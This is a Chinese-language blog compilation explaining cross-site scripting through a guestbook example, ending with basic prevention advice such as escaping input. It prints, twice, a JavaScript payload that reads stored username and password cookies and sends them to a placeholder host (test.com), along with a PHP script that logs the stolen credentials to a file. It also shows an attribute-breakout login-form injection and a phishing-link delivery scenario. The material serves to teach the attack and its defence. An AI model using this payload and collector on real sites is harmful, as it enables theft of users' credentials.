跨站腳本功攻擊,xss,一個簡單的例子讓你知道什么是xss攻擊
一、總結
一句話總結:比如用戶留言功能,用戶留言中寫的是網頁可執行代碼,例如js代碼,然后這段代碼在可看到這段留言的不同一戶的顯示上就會執行。
1、什么是xss?
用戶 代碼 頁面
XSS攻擊全稱跨站腳本攻擊,是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS,XSS是一種在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。
2、xss攻擊的基本原理?
用戶提交 代碼 運行
就拿留言頁面來說,用戶留言之后,網頁肯定會加載顯示這些留言,如果用戶的留言是可運行的代碼,比如js,那么這個網頁就可以執行這段代碼,從而訪問這個網站的所有人都會執行這段代碼。
3、xss攻擊竊取用戶賬號密碼實例(重在原理)?
當然這個示例很簡單,幾乎攻擊不到任何網站,僅僅看看其原理。我們知道很多登陸界面都有記住用戶名、密碼的功能方便用戶下次登錄,有些網站是直接用明文記錄用戶名、密碼,惡意用戶注冊賬戶登錄后使用簡單工具查看cookie結構名稱后,如果網站有xss漏洞,那么簡單的利用jsonp就可以獲取其它用戶的用戶名、密碼了。
惡意用戶會這么輸入
我們看看http://test.com/hack.js里藏了什么
var username=CookieHelper.getCookie('username').value; var password=CookieHelper.getCookie('password').value; var script =document.createElement('script'); script.src='http://test.com/index.php?username='+username+'&password='+password; document.body.appendChild(script);
幾句簡單的javascript,獲取cookie中的用戶名密碼,利用jsonp把向http://test.com/index.php
發送了一個get請求
<?php
if(!empty($_GET['password'])){ $username=$_GET['username']; $password=$_GET['password']; try{ $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt'; $fp=fopen($path,'a'); flock($fp, LOCK_EX); fwrite($fp, "$username\t $password\r\n"); flock($fp, LOCK_UN); fclose($fp); }catch(Exception $e){ } } ?>
這樣惡意用戶就把訪問留言板的用戶的信息竊取了
4、xss攻擊最簡單粗糙的預防?
用戶輸入 過濾
其惡意腳本都是來自用戶的輸入。因此,可以使用過濾用戶輸入的方法對惡意腳本進行過濾。
1、獲取用戶輸入,不用.innerHTML,用innerText。
2、對用戶輸入進行過濾,如 HTMLEncode 函數實現應該至少進行 & < > " ' / 等符號轉義成 & < > " ' /;
二、跨站腳本功攻擊,xss,一個簡單的例子讓你知道什么是xss攻擊(轉)
https://blog.csdn.net/Ideality_hunter/article/details/80621138
跨站腳本攻擊,xss,一個簡單的例子讓你知道什么是xss攻擊
https://www.cnblogs.com/dolphinX/p/3391351.html
這篇文章說的很清楚:
---總結
1、通過在前端輸入js代碼,即<script>代碼,點擊提交,comment字段保存到數據庫中。
2、當被提交的這段js代碼,再次出現在頁面上時(如之前是saveModify操作,將comment字段保存到數據庫中,然后執行viewModify,顯示comment信息,這段<script>代碼就顯示在了html頁面中,這段scrip代碼就被執行了),這段script代碼被執行。
3、該js代碼是第三方黑客的js
5、js會調用黑客的工程(即發起一個http url請求),將用戶名和密碼發送過去。
這樣,用戶名和密碼就泄露了。
但是有個問題,造成用戶密碼泄露的核心,是頁面上提交了某段惡意的<script>代碼,但是黑客怎么會在用戶的瀏覽器上提交這段<script>代碼呢?用戶肯定不會讓黑客使用自己的瀏覽器吧?
我想到了一種場景,讓用戶自己去提交這段惡意的<script>代碼。
場景如下:
1用戶已經正常登錄了上圖中的論壇系統
2黑客提供給用戶一個鏈接(可能是一個匿名郵件里的鏈接,這個鏈接被偽裝了,看上去很合法),如下圖中的參加,不參加,其實就是一個被偽裝的鏈接,點擊該鏈接就會在該論壇提交惡意script代碼(這個方式由很多種,其實就是向論壇發起一個http url請求,即將表單信息進行提交,表單中就有script代碼)。
3用戶點擊鏈接,惡意的<script>代碼代碼被提交,用戶中招。
就這么簡單。
====-=說一下我碰到過的一個xss跨站腳本攻擊場景,實際工程應用中碰到過的。
我有一個登錄頁面:
如果我有用戶abc,密碼123
輸入用戶名abc,密碼567,提示密碼錯誤,但是為了避免用戶再次輸入用戶名,將輸入的用戶名在頁面上保留。此時的html頁面是這樣的,f12查看:
好,場景描述完畢,xss跨站腳本開始了:
1、如果我直接在用戶名這里輸入<script>alert("1")</script>,然后輸入一個錯誤的密碼,並沒有執行script代碼,因為返回的html頁面是這樣的:
上圖中那樣的script代碼是不會執行的,因為在input的value中。只有獨立的形如下的script代碼才會執行。
2所以要想實現script代碼的執行,就需要進行拼接,將script代碼排到input標簽外。
怎么實現呢?
說白了就是自己拼接,將input標簽進行閉合,然后將script代碼綴在后邊。
通過用戶名的輸入,將input拼接成如下,即可實現script代碼的執行:
<input name="userName" class="textcss" id="userName" type="text" value="abc"/><script>alert("1")</script>"/>
為什么會執行?
可以將拼接后的input拆分看一下,就很明白了
<input name="userName" class="textcss" id="userName" type="text" value="abc"/>
<script>alert("1")</script>
"/>
因為input已經閉合了,所以script代碼會執行,至於拼接后的html文件是有語法錯誤的問題(因為最后剩下一個"/>,這個html是有錯誤的,但是不影響頁面展示和script代碼執行)就可以忽略了。
因此,只需要在用戶名那里輸入:
abc"/><script>alert("1")</script>
,然后輸入一個錯誤的密碼,點擊登錄,就會執行script代碼,彈出彈框。
===怎么解決呢?
網上的方式,感覺可行。
因為我之前工程中碰到過一種解決方式,是jfinal工程中實現的,在繼承JFinalConfig的子類中進行實現,和這個方式很像。
先說網上的這種方式:
https://blog.csdn.net/sdauzyh/article/details/74942737
再說jfinal方式實現:
推薦后者,即final方式解決xss攻擊。
三、跨站腳本攻擊XSS(轉)
轉自:跨站腳本攻擊XSS - 謙行 - 博客園
https://www.cnblogs.com/dolphinX/p/3391351.html
跨站腳本攻擊(Cross Site Script為了區別於CSS簡稱為XSS)指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意用戶的特殊目的。
一個簡單的留言板
我們有個頁面用於允許用戶發表留言,然后在頁面底部顯示留言列表
<!DOCTYPE html> <html> <head> <?php include('/components/headerinclude.php');?></head> <style type="text/css"> .comment-title{ font-size:14px; margin: 6px 0px 2px 4px; } .comment-body{ font-size: 14px; color:#ccc; font-style: italic; border-bottom: dashed 1px #ccc; margin: 4px; } </style> <script type="text/javascript" src="/js/cookies.js"></script> <body> <form method="post" action="list.php"> <div style="margin:20px;"> <div style="font-size:16px;font-weight:bold;">Your Comment</div> <div style="padding:6px;"> Nick Name: <br/> <input name="name" type="text" style="width:300px;"/> </div> <div style="padding:6px;"> Comment: <br/> <textarea name="comment" style="height:100px; width:300px;"></textarea> </div> <div style="padding-left:230px;"> <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/> </div> <div style="border-bottom:solid 1px #fff;margin-top:10px;"> <div style="font-size:16px;font-weight:bold;">Comments</div> </div> <?php require('/components/comments.php'); if(!empty($_POST['name'])){ addElement($_POST['name'],$_POST['comment']); } renderComments(); ?> </div> </form> </body> </html>
addElement()方法用於添加新的留言,而renderComments()方法用於展留言列表,網頁看起來是這樣的
XSS
因為我們完全信任了用戶輸入,但有些別有用心的用戶會像這樣的輸入
這樣無論是誰訪問這個頁面的時候控制台都會輸出“Hey you are a fool fish!”,如果這只是個惡意的小玩笑,有些人做的事情就不可愛了,有些用戶會利用這個漏洞竊取用戶信息、誘騙人打開惡意網站或者下載惡意程序等,看個最簡單的例子
利用xss竊取用戶名密碼
當然這個示例很簡單,幾乎攻擊不到任何網站,僅僅看看其原理。我們知道很多登陸界面都有記住用戶名、密碼的功能方便用戶下次登錄,有些網站是直接用明文記錄用戶名、密碼,惡意用戶注冊賬戶登錄后使用簡單工具查看cookie結構名稱后,如果網站有xss漏洞,那么簡單的利用jsonp就可以獲取其它用戶的用戶名、密碼了。
惡意用戶會這么輸入
我們看看http://test.com/hack.js里藏了什么
var username=CookieHelper.getCookie('username').value; var password=CookieHelper.getCookie('password').value; var script =document.createElement('script'); script.src='http://test.com/index.php?username='+username+'&password='+password; document.body.appendChild(script);
幾句簡單的javascript,獲取cookie中的用戶名密碼,利用jsonp把向http://test.com/index.php
發送了一個get請求
<?php if(!empty($_GET['password'])){ $username=$_GET['username']; $password=$_GET['password']; try{ $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt'; $fp=fopen($path,'a'); flock($fp, LOCK_EX); fwrite($fp, "$username\t $password\r\n"); flock($fp, LOCK_UN); fclose($fp); }catch(Exception $e){ } } ?>
這樣惡意用戶就把訪問留言板的用戶的信息竊取了
怎么預防
上面演示的是一個非常簡單的XSS攻擊,還有很多隱蔽的方式,但是其核心都是利用了腳本注入,因此我們解決辦法其實很簡單,不信賴用戶輸入,對特殊字符如”<”,”>”轉義,就可以從根本上防止這一問題,當然很多解決方案都對XSS做了特定限制,如上面這中做法在ASP.NET中不幸不同,微軟validateRequest對表單提交自動做了XSS驗證。但防不勝防,總有些聰明的惡意用戶會到我們的網站搞破壞,對自己站點不放心可以看看這個XSS跨站測試代碼大全試試站點是否安全。